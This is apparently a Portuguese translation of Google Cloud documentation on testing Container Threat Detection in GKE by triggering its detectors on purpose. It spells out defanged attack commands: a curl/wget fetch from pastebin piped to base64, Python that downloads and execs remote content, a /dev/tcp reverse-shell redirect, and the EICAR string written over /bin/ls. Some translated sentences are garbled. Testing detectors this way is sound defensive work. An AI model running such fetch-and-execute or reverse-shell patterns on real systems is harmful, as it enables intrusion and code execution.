Nesta página, explicamos como verificar se o Container Threat Detection está funcionando por meio do acionamento intencional de detectores e da verificação de descobertas. O Container Threat Detection é um serviço integrado dos níveis Premium e Enterprise do Security Command Center. Para ver as descobertas do Container Threat Detection, é preciso ativá-la nas configurações de Serviços do Security Command Center.
Antes de começar
Para detectar possíveis ameaças aos contêineres, verifique se os clusters estão em uma versão compatível do Google Kubernetes Engine (GKE). Para mais informações, consulte Como usar uma versão compatível do GKE.
Defina as variáveis de ambiente
Para testar os detectores, use o Console do Google Cloud e o Cloud Shell. É possível definir variáveis de ambiente no Cloud Shell para facilitar a execução de comandos. As variáveis a seguir são usadas para testar todos os detectores do Container Threat Detection.
Acesse o Console do Google Cloud.
Selecione o projeto que contém o contêiner que você quer usar.
Clique em Ativar o Cloud Shell.
No Cloud Shell, defina as variáveis de ambiente:
A zona em que seu cluster está:
export ZONE=CLUSTER_ZONE
O projeto em que o contêiner está:
export PROJECT=PROJECT_ID
O nome do cluster:
export CLUSTER_NAME=CLUSTER_NAME
As variáveis são definidas. As seções a seguir incluem instruções para testar detectores do Container Threat Detection.
Adição de binário executado
Para acionar uma descoberta de adição de binário executado, solte um binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 18.04, copia o /bin/ls
para outro local e o executa. A execução do binário é inesperada
porque a cópia do binário não fazia parte da imagem do contêiner original, mesmo
quando essa imagem estava no Ubuntu 18.04 e os contêineres eram imutáveis.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Solte um binário e execute-o:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Este procedimento de teste criará uma descoberta executada em binário que você possa ver no Security Command Center e no Cloud Logging se tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas adicionadas executadas em binário. Para ver todas as descobertas executadas binárias adicionadas enquanto um contêiner está sendo configurado, insira o prefixo ktd-test
no nome do contêiner ou do pod, como no exemplo.
Adição de biblioteca carregada
Para acionar uma adição de biblioteca carregada, solte uma biblioteca no contêiner e carregue-a. Este exemplo implanta a imagem mais recente do Ubuntu 18.04, copia
o /lib/x86_64-linux-gnu/libc.so.6
para outro local e, em seguida, carrega usando
ld
. A biblioteca carregada é inesperada porque a cópia da biblioteca não fazia
parte da imagem do contêiner original, mesmo que essa imagem estivesse no Ubuntu 18.04 e
os contêineres fossem imutáveis.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Solte uma biblioteca e use
ld
para carregá-la:tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
Esse procedimento de teste criará uma biblioteca adicionada carregada que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. Como visualizar as descobertas no O Cloud Logging só está disponível se você ativar o nível Premium ou Enterprise nível do Security Command Center no nível da organização.
Para a redução de ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas adicionadas carregadas na biblioteca. Para consultar todas as descobertas
adicionadas carregadas na biblioteca enquanto um contêiner está sendo configurado, insira o prefixo ktd-test
no nome
do contêiner ou do pod, como no exemplo.
Execução: adição de binário malicioso executado
Para acionar uma execução: adição de descoberta de execução binária maliciosa, remova um binário malicioso no contêiner e o execute. Este exemplo implanta a imagem mais recente do Ubuntu 18.04, cria um arquivo malicioso simulado e o executa. A execução do binário é inesperado, porque o binário malicioso simulado não fazia parte do contêiner original, e o binário é EICAR, arquivo de teste, um arquivo classificado como malicioso pela inteligência contra ameaças.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Solte o binário EICAR e execute-o:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
Este procedimento de teste deve criar uma execução: adição de binário malicioso executado que podem ser visualizados no Security Command Center e no Cloud Logging você tiver configurado o Logging para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection
filtra temporariamente as descobertas de execução: adição de binário malicioso executado. Para ver
toda a execução: foram adicionadas descobertas de execução binária maliciosa enquanto um contêiner estava
que está sendo configurado, use ktd-test
como prefixo do nome do contêiner ou do pod, como
exemplo.
Execution: Malicious Python executed
Para acionar uma descoberta de Execution: Malicious Python executed
, execute o Python
no procedimento a seguir no contêiner.
O procedimento implanta a imagem mais recente do Python, copia o código Python que parece malicioso e o executa. Para acionar uma detecção, o código Python precisa parecer malicioso para o detector.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute o script a seguir em um novo contêiner.
Este código Python originou-se de uma pote de mel. No entanto, ele foi modificado para não executar o binário malicioso. A execução do script não causa atividades maliciosas no contêiner. O binário no URL referenciado não existe e está tentando seguir o URL resulta em um erro 404. Isso já é esperado. A tentativa de fazer o download, decodificar e executar um binário usando uma script em linha é o que aciona a detecção.
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/python:latest "$tag" \ -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Este procedimento de teste cria uma descoberta Execution: Malicious Python executed
que você
podem ser visualizados no Security Command Center e no Cloud Logging, se você
para o Container Threat Detection. A visualização das descobertas no Cloud Logging está
Disponível apenas se você ativar o Premium ou Enterprise
do Security Command Center.
Execução: binário malicioso modificado executado
Para acionar uma descoberta "Execução: Binário malicioso Modificado", modifique uma
binário malicioso no contêiner e o execute. Neste exemplo, implantamos a
imagem mais recente do Ubuntu 18.04, modifica /bin/ls
para um arquivo malicioso simulado e o executa.
A execução do binário é inesperada porque o /bin/ls
é modificado durante o tempo de execução do contêiner como
um binário malicioso simulado, e o binário é um arquivo de teste EICAR,
classificado como malicioso pela inteligência de ameaças.
EICAR (em inglês)
teste de arquivo malicioso e o executa. A execução do binário é
inesperado, porque o /bin/ls
criado é modificado durante o ambiente de execução do contêiner conforme
um binário malicioso teste EICAR, e o binário EICAR é um arquivo
de acordo com a inteligência contra ameaças.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Elimine o binário EICAR e execute-o:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Este procedimento de teste deve criar uma descoberta Execução: Binário malicioso Modificado executada que você possa no Security Command Center e no Cloud Logging, caso tenha configurado Geração de registros para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Para redução de ruído, ao criar um contêiner, o Container Threat Detection
filtra temporariamente as descobertas de execução: binário malicioso modificado. Para ver
toda a execução: descobertas de execuções binárias maliciosas modificadas enquanto um contêiner está
que está sendo configurado, use ktd-test
como prefixo do nome do contêiner ou do pod, como
exemplo.
Script malicioso executado
Para acionar uma descoberta de script malicioso, execute o script no procedimento a seguir no seu contêiner.
O procedimento implanta a imagem mais recente do Ubuntu 18.04, copia um script que parece malicioso e o executa. Para acionar uma detecção, um script precisa aparecer como malicioso para o detector.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute o script a seguir em um novo contêiner.
Esse script de shell Bash inline foi originado de um honeypot. No entanto, foi modificado para não executar o binário malicioso. para que a execução do script não cause atividades maliciosas no contêiner. O binário no URL referenciado pode ter sido removido e ter tentado seguir o URL resultará em um erro 404. Isso já é esperado. A tentativa de fazer o download, decodificar e executar um binário usando uma script em linha é o que aciona a detecção.
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \ -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Este procedimento de teste cria uma descoberta de script malicioso executado que você pode ver no Security Command Center e no Cloud Logging se tiver configurado a geração de registros para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
URL malicioso observado
Para acionar uma descoberta de URL malicioso observado, execute um binário e forneça um URL malicioso como um argumento.
O exemplo a seguir implanta uma versão do Ubuntu 18.04
imagem e executa /bin/curl
para acessar uma URL de malware de amostra da
serviço Navegação segura.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute
curl
e forneça um URL malicioso como um argumento:tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "curl $url | cat"
Este procedimento de teste aciona uma descoberta de URL malicioso observado que você pode ver no Security Command Center e, se você tiver configurado o Logging para o Container Threat Detection, no Cloud Logging. Visualização descobertas no Cloud Logging só estarão disponíveis se você ativar Nível Premium ou Enterprise do Security Command Center no nível da organização.
Shell reverso
Para acionar uma descoberta de shell reverso, inicie um binário com redirecionamento stdin
para um
soquete conectado TCP. Este exemplo copia /bin/echo
para /tmp/bash
e, em seguida, inicia /tmp/bash
com redirecionamento para o DNS público do Google
8.8.8.8
na porta DNS. Nada é impresso quando você executa este exemplo. Para
evitar qualquer injeção de código externo por meio de um ataque intermediário (MITM),
este exemplo não usa o binário /bin/bash
.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Inicie um binário com redirecionamento
/bin/echo
para o DNS público do Google:tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /bin/echo /tmp/bash; /tmp/bash >& /dev/tcp/8.8.8.8/53 0>&1"
Este procedimento de teste criará uma descoberta de shell reverso que pode ser vista no Security Command Center e no Cloud Logging, se você tiver configurado o Logging para Container Threat Detection. Como visualizar as descobertas no O Cloud Logging só estará disponível se você ativar Nível Premium ou Enterprise do Security Command Center no nível da organização.
Shell filho inesperado
Para testar o detector Unexpected Child Shell
, crie uma árvore de processos que inclua um processo de shell filho.
O exemplo a seguir cria uma árvore de processo consul->dash
, que pode ser detectada pelo detector Unexpected Child Shell
. Esse teste é seguro porque usa apenas binários integrados. Este exemplo faz o seguinte:
- Cria uma cópia do processo
bash
e a nomeia comoconsul
. - Copia o processo
echo
e o nomeia comodash
. - Invoca o processo
dash
copiado no processoconsul
copiado.
Para acionar uma descoberta de Unexpected Child Shell
, faça o seguinte:
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Use o processo
consul
simulado para invocar um shell simulado:tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -ti \ --image ubuntu "$tag" --command \ -- /bin/sh -c 'cp /bin/bash /tmp/consul; cp /bin/echo /tmp/bash; \ /tmp/consul -c "/tmp/bash child ran successfully & wait"'
Esse procedimento de teste cria uma descoberta Unexpected Child Shell
que pode ser
visualizada no Security Command Center. Se o Logging estiver configurado para o Container Threat Detection e você tiver o Security Command Center Premium ou Enterprise ativado no nível da organização, também será possível conferir a descoberta no Cloud Logging.
A seguir
- Saiba como usar o Container Threat Detection.